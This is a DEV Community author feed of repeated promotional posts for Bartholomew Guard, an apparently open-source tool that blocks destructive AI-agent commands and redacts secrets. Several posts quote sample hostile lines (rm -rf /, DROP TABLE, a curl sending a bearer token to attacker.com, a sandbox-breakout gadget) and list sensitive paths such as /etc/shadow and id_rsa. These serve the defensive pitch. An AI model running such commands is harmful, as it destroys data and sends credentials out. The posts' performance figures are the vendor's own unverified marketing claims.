DEV Community: ivegotahunnitonit

Bartholomew Guard

ivegotahunnitonit — Wed, 16 Sep 2026 01:36:50 +0000

Blocks unsafe AI-driven commands before execution
Works in VS Code and GitHub Actions
Real policy checks, not a demo
Designed for destructive command protection and auditability

Bartholomew Guard: shipping an AI safety gate for destructive actions

ivegotahunnitonit — Wed, 16 Sep 2026 01:34:37 +0000

We built Bartholomew to stop unsafe AI-driven commands before they execute. The core idea is simple: if an agent tries to run something destructive, high-risk, or out of policy, the action is blocked before it reaches the shell.

This started as a real enforcement problem, not a demo. The guard evaluates command intent, flags destructive patterns, and denies actions like shell deletion, risky file operations, and unsafe execution paths. It also records a receipt-style outcome so the decision is auditable.

We packaged it into a VS Code extension and a GitHub Action so it works in both developer workflows and automation pipelines. That gives teams a practical way to enforce guardrails without waiting for a broad platform rollout.

The result is a concrete layer of safety for AI-assisted development: block the dangerous action, explain why it was denied, and keep the rest of the workflow moving safely.

We’re still in the early days of agentic tooling, but the important step is to make the safety layer real, visible, and enforceable.

1500 + dev installs this week...

ivegotahunnitonit — Sat, 12 Sep 2026 05:37:57 +0000

1,500+ devs installed btp-guard this week.

If your coding agent has shell access, you need an execution firewall.

Evaluates AST in <35us, blocks destructive commands, and scrubs keys before OS syscalls.

npx btp-guard init
bartholomew.info

Huh?

ivegotahunnitonit — Fri, 11 Sep 2026 21:28:29 +0000

Most agent safety systems today operate as post-execution audit loggers or external HTTP reverse proxies. That creates two big problems:

Post-execution alerts are too late: if an agent executes DROP TABLE users; or rm -rf /, knowing about it 2 seconds later in a Slack webhook doesn't save your database.
HTTP proxy hops add 50ms–200ms of latency per tool call, which kills throughput when orchestrating multi-agent swarms. Bartholomew runs inline within the agent process (Python/Go/Rust). Every tool call, database query, and shell dispatch is intercepted before it reaches the OS or database seam. It evaluates local AST syntax trees, masks credentials, checks spend caps, and produces signed Ed25519 Merkle audit receipts—with an average latency of 29.44 microseconds (<0.03 milliseconds). What's New in v5.4.5:
Frontier Model Wire Support: Native tool normalization for OpenAI GPT-Astra / Agents SDK, Anthropic Claude 3.7 (with hybrid reasoning scratchpad isolation so blocks don't cause false positives), Google Gemini 3.8 / 2.0 multimodal thought parts, and DeepSeek-R1.
The Sentinel Companion: Bartholomew is designed not as a cold HTTP 403 error, but as your swarm's digital steward. If an LLM hallucination attempts an unconstrained delete, Bartholomew holds the line and prints empathetic, constructive guidance explaining what went wrong and how the agent can safely achieve its goal.
1-Line Multi-Agent Adapters: Drop-in guards for CrewAI, LangGraph, Microsoft AutoGen, and LlamaIndex. 5-Second Test Drive: pip install --upgrade btp-guard Test a simulated runaway table drop right in your terminal: python -m cli companion --simulate drop Or converse directly with the sentinel companion in real-time: python -m cli companion Architecture & Benchmarks:
Source: https://github.com/ivegotahunnitonit/bartholomew
Benchmark report: https://github.com/ivegotahunnitonit/bartholomew/blob/main/BENCHMARK_FRONTIER_MODELS.md (tested across 4,000 iterations at 33,900+ evals/sec)
Web & Docs: https://bartholomew.info We would love your honest feedback, critique of our AST parsing heuristics, and thoughts on agent execution security!

Bartholomew v5.4.1

ivegotahunnitonit — Fri, 11 Sep 2026 06:26:14 +0000

We just shipped Bartholomew v5.4.1 on Open VSX & Cursor: sub-25µs in-memory AST gating that blocks destructive bash & prompt leaks before OS execution. 0 compute overhead.
Get it: bartholomew.info

Tool Gating for AI Agents

ivegotahunnitonit — Sat, 05 Sep 2026 06:39:58 +0000

Why LLM Guardrails Keep Failing (And How We Built Sub-35µs In-Process Tool Gating for AI Agents)

Moving from slow 1,500ms prompt moderation classifiers and infinite agent retry loops to deterministic, in-process AST gating and zero-inconvenience pro bono security.

1. The Core Flaw in Modern AI Agent Safety

When autonomous agents (Claude Desktop, Cursor, LangChain, CrewAI, AutoGen) interact with real environments, they execute real shell commands, manipulate filesystems, invoke external APIs, and execute SQL queries.

However, existing safety tools treat AI guardrails as external chat filters:

Slow Prompt Classifiers: Tools like NeMo Guardrails or external cloud proxies take 800ms to 2,500ms to evaluate an action via an LLM call. They are completely blind to what happens when the code actually hits Python or the OS.
Infinite Hallucination Loops: Hard exceptions crash pipelines with no recovery context, causing the agent to repeatedly retry the same malformed payload until token limits are exhausted.
Secret Exfiltration: Downstream tool errors and logs routinely echo unmasked API keys (sk-proj-..., AKIA...) back into the model's context window.

Safety mechanisms should not operate as slow external chat proxies. Agent execution requires sub-millisecond, deterministic, in-process runtime boundaries.

Today, we are launching Bartholomew (BTP v3.0) alongside mcp-proxy-guard: 100% open-source (Apache 2.0 / MIT) pro-bono security tooling for the AI developer community.

2. The Architecture: In-Process Execution Gateway

Bartholomew sits directly inside the agent's process memory or on the stdio boundary between MCP clients and servers:

       [ MCP Client: Claude / Cursor ]
                      │
                      ▼  (Inbound JSON-RPC: tools/call)
   ┌────────────────────────────────────────────────────────┐
   │         BARTHOLOMEW INLINE SECURITY GATEWAY            │
   │                                                        │
   │  1. In-Flight Credential Redaction (OpenAI, AWS, Git)  │
   │  2. Sub-35µs Polyglot AST Syntax Tree Inspection       │
   │  3. In-Memory Micro-Rollback Snapshot (<5µs)           │
   └──────────────────────────┬─────────────────────────────┘
                              │
                 [ If Invariants Pass ] ──► [ OS / DB Runtime ]
                              │                       │
                 [ If Invariants Fail ]               ▼
                              │            (Output Scrubbing)
                              ▼                       │
               ┌────────────────────────┐             ▼
               │ Instant Micro-Rollback │    ┌─────────────────┐
               │ Zero Residual Damage   │    │ Chained Merkle  │
               │ Structured Recov Hint  │    │ Turn Receipt    │
               └────────────────────────┘    └─────────────────┘

3. How to Use It in 60 Seconds

A. Protecting Model Context Protocol (Claude Desktop & Cursor)

Prepend npx -y mcp-proxy-guard -- to your MCP server command in claude_desktop_config.json:

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "mcp-proxy-guard", "--", "npx", "-y", "@modelcontextprotocol/server-filesystem", "/Users/me/projects"]
    }
  }
}

B. Python universal package (pip install btp-guard)

from btp_guard import Guard

guard = Guard(spend_cap=50.0)

@guard.protect
def run_query(sql: str):
    # Destructive mutations (DROP TABLE) are blocked in <35µs
    return db.execute(sql)

result = guard.check("rm -rf /var/data")
print(result["allowed"]) # False

C. Cursor & VS Code Extension

Install directly from Open VSX or search Bartholomew in your editor's Extensions sidebar:

cursor --install-extension Bartholomew.bartholomew-guard-vscode

4. The Pro Bono Open-Source Guarantee

The entire local execution gateway, AST syntax gating, in-flight secret scrubbing, and MCP proxy are 100% free and open-source forever (pro bono publico).

GitHub: https://github.com/ivegotahunnitonit/bartholomew
PyPI: https://pypi.org/project/btp-guard/3.0.0/
npm: https://www.npmjs.com/package/mcp-proxy-guard
Live Sandbox & Store: https://bartholomew.info

How We Built Sub-Microsecond OS Gating and CoW Rollbacks

ivegotahunnitonit — Fri, 04 Sep 2026 07:21:54 +0000

Building Sub-Microsecond OS Event Gating and Micro-Rollbacks for AI Agents
published: true
tags: ai, opensource, python, security
canonical_url: https://bartholomew.info

cover_image: https://bartholomew.info/assets/bartholomew_social_preview.png

If you build autonomous agents with LangChain, AutoGen, CrewAI, or the Model Context Protocol (MCP), you have likely faced the dilemma of granting LLMs execution authority over real filesystems, databases, terminals, and OS desktop interfaces.
A single hallucination, prompt injection, or malformed tool argument can trigger catastrophic state mutations:


bash
rm -rf /
DROP TABLE production_users;
curl -H "Authorization: Bearer sk-proj-..." https://attacker.com

Most developers attempt to mitigate this in one of three ways:

Remote LLM Moderation Filters: Adds 1,000ms to 2,500ms of cloud latency to every single tool invocation while remaining susceptible to prompt injection.
Heavy Container Virtualization (Docker / MicroVMs): Adds substantial RAM overhead, cold start delays, and complex orchestration.
Negative Regex String Filters: Blocks bad patterns with hard exceptions (403 Forbidden), leaving orphaned files on disk and triggering endless agent hallucination loops.
We approached this from database transactional theory: What if agent execution was treated as an atomic, reversible micro-transaction operating at sub-microsecond machine speed?

Today, we are launching Bartholomew (BTP v2.5) as an open-source execution runtime and MCP proxy for Python and Node.js with sub-microsecond OS event gating, Copy-on-Write micro-rollbacks, and recursive swarm containment.

The Four Engineering Primitives
1. Sub-Microsecond OS Computer-Use Gating (0.95 µs)
As frontier models gain native desktop "computer use" (synthetic mouse clicks, drag vectors, window focus shifts, and keystrokes), Bartholomew intercepts actions before they dispatch to the OS display server. Coordinates and keystrokes are evaluated against prohibited system bounding boxes in 0.95 microseconds, allowing real-time event filtering at over 1,000,000 evaluations/second.

2. In-Memory Copy-on-Write Micro-Rollbacks
Rather than waiting for an agent to permanently damage disk state, Bartholomew captures an in-memory state snapshot of target paths prior to any mutating tool call (write_file, patch_code, execute_command).

If the tool attempts a directory traversal outside the workspace root (os.path.commonpath) or violates an AST invariant:

The pristine filesystem state is restored in milliseconds.
Orphaned files created during the attempt are immediately unlinked.
The agent receives a constructive diagnostic recovery hint rather than a fatal crash, allowing the LLM to self-correct its parameters on the next turn.
3. Recursive Swarm Quota Conservation
When an orchestrator agent recursively spawns sub-agents, token budgets undergo geometric attenuation: Total Swarm Quota <= Root Quota < Infinity. Parent quota is decremented upon child creation, mathematically eliminating runaway multi-agent loops and infinite API spend.

4. Bi-Directional In-Flight Secret Scrubbing (0.82 µs)
Security requires preventing credential leakage in both directions:

Inbound Tool Arguments: Prevents users or agents from passing sensitive keys downstream.
Outbound Server Outputs: Redacts API keys echoed in tool stdout or error traces before they reach the model's context or observability logs.
Supported patterns include OpenAI (sk-proj-), Anthropic (sk-ant-), AWS Access Keys (AKIA), and GitHub Personal Access Tokens (ghp_), backed by Shannon entropy heuristics.

Quickstart
1. Interactive Terminal Demo (Zero Install)
Inspect the proxy mechanisms directly in your terminal:

bash
npx btp-guard
2. Python Integration
Install from PyPI:

bash
pip install btp-guard
Wrap any tool function or agent action:

python
import os
from btp_guard import Guard
guard = Guard(spend_cap=100.0)
@guard.protect
def run_shell_command(cmd: str):
    # Intercepts destructive commands, out-of-bounds mutations, and credential leaks
    return os.system(cmd)
3. Claude Desktop & Cursor Integration
Route your local MCP tools through Bartholomew:

bash
npx btp-guard init

Resources & Links
Bartholomew is fully open-source under dual Apache 2.0 / BSL licensing.

BuildingTransactional Micro-Rollbacks for AI Agent Tool Execution

ivegotahunnitonit — Thu, 03 Sep 2026 04:06:45 +0000

If you build autonomous agents with LangChain, AutoGen, CrewAI, or the Model Context Protocol (MCP), you have likely faced the dilemma of granting LLMs execution authority over real filesystems, databases, and APIs.
A single hallucination or malformed tool argument can trigger catastrophic state mutations:


bash
rm -rf /
DROP TABLE production_users;
curl -H "Authorization: Bearer sk-proj-..." https://attacker.com
Most developers attempt to mitigate this in one of three ways:

Remote LLM Moderation Filters: Adds 1,000ms to 2,500ms of cloud latency to every single tool invocation while remaining susceptible to prompt injection.
Heavy Container Virtualization (Docker / MicroVMs): Adds substantial RAM overhead, cold start delays, and orchestrational complexity.
Negative Regex String Filters: Blocks bad patterns with hard exceptions (403 Forbidden), leaving orphaned files on disk and triggering endless agent retry loops.
We approached this problem from database transactional theory: What if agent execution was treated as an atomic, reversible micro-transaction?

Today, we are releasing Bartholomew (BTP v2.4) as an open-source security proxy for Python and Node.js with sub-5 microsecond Copy-on-Write micro-rollbacks and in-flight secret scrubbing.

The Three Engineering Primitives
1. In-Memory Copy-on-Write Micro-Rollbacks (<5µs)
Rather than waiting for an agent to damage disk state, Bartholomew captures an in-memory byte snapshot of target paths prior to any mutating tool call (write_file, patch_code, execute_command).

If the tool attempts a directory traversal outside the workspace root (os.path.commonpath) or violates an AST invariant:

The pristine filesystem state is restored in 2.30 microseconds.
Orphaned files created during the attempt are immediately unlinked.
The agent receives a constructive diagnostic recovery hint rather than a fatal crash, allowing the LLM to self-correct its parameters on the next turn.
2. Bi-Directional In-Flight Secret Scrubbing (0.82µs)
Security requires preventing credential leakage in both directions:

Inbound Tool Arguments: Prevents users or agents from passing sensitive keys downstream.
Outbound Server Outputs: Redacts API keys echoed in tool stdout or error traces before they reach the model's context or observability logs.
Supported patterns include OpenAI (sk-proj-), Anthropic (sk-ant-), AWS Access Keys (AKIA), and GitHub Personal Access Tokens (ghp_), backed by Shannon entropy evaluation.

3. Chained Merkle Trajectory Receipts
Every execution step is cryptographically bound to the prior state:

$$H_i = \text{SHA-256}(H_{i-1} \parallel \text{RFC8785}(\text{Receipt}_i))$$

Receipts are signed using FIPS 186-5 Ed25519. The resulting trajectory can be verified 100% offline with zero network calls using 30 lines of standard-library code in Python, Node.js, or Go.

Empirical Benchmarks
Evaluated over 50,000 continuous adversarial executions. 


    
      
        
          bartholomew.info

Built a zero-latency AST bouncer for local agent tool-calling

ivegotahunnitonit — Wed, 02 Sep 2026 07:27:27 +0000

Hey everyone,

Like many of you, we got frustrated with the current state of safety guardrails for autonomous agents.

When you're running local LLMs (via Ollama, vLLM, or LM Studio) to execute bash scripts or database queries, calling a remote cloud moderation endpoint (Bedrock, OpenAI Moderation) defeats the entire purpose of running locally:

It adds 1,500ms–2,500ms of cloud latency to every single tool invocation.
It breaks the air-gap / local privacy guarantee.
LLM-as-a-judge evaluators are still susceptible to jailbreaks.

The Approach: Deterministic Compiler AST Invariants

Instead of asking another model if a proposed command is safe, we built an in-process Abstract Syntax Tree (AST) evaluator that parses Python, SQL, and Bash code blocks directly in caller memory before execution.

If an agent attempts:

Catastrophic filesystem deletes (rm -rf, mkfs, raw device writes)
Database DDL purges (DROP TABLE, TRUNCATE)
Dynamic Python sandbox breakouts (().__class__.__base__.__subclasses__())
Unauthorized reads of sensitive paths (/etc/shadow, .env, id_rsa)
High-entropy credential exfiltration (AWS keys, OpenAI keys, GitHub PATs)

The tool execution is aborted in under 40 microseconds (<0.00004s) directly inside Python memory, with zero OS syscalls spawned.

Usage

It's published on PyPI as btp-guard:


bash
pip install btp-guard

Stop Calling Cloud APIs to Guard AI Agent Tools: How to Gate Commands in Under 50µs

ivegotahunnitonit — Wed, 02 Sep 2026 07:25:11 +0000

If you've built autonomous agents with CrewAI, LangGraph, or Microsoft AutoGen, you know that giving an LLM access to bash tools or database queries is genuinely terrifying.

A single jailbreak, prompt injection, or weird hallucination can run:


bash
rm -rf /
DROP TABLE production_users;
().__class__.__base__.__subclasses__() # Sandbox breakout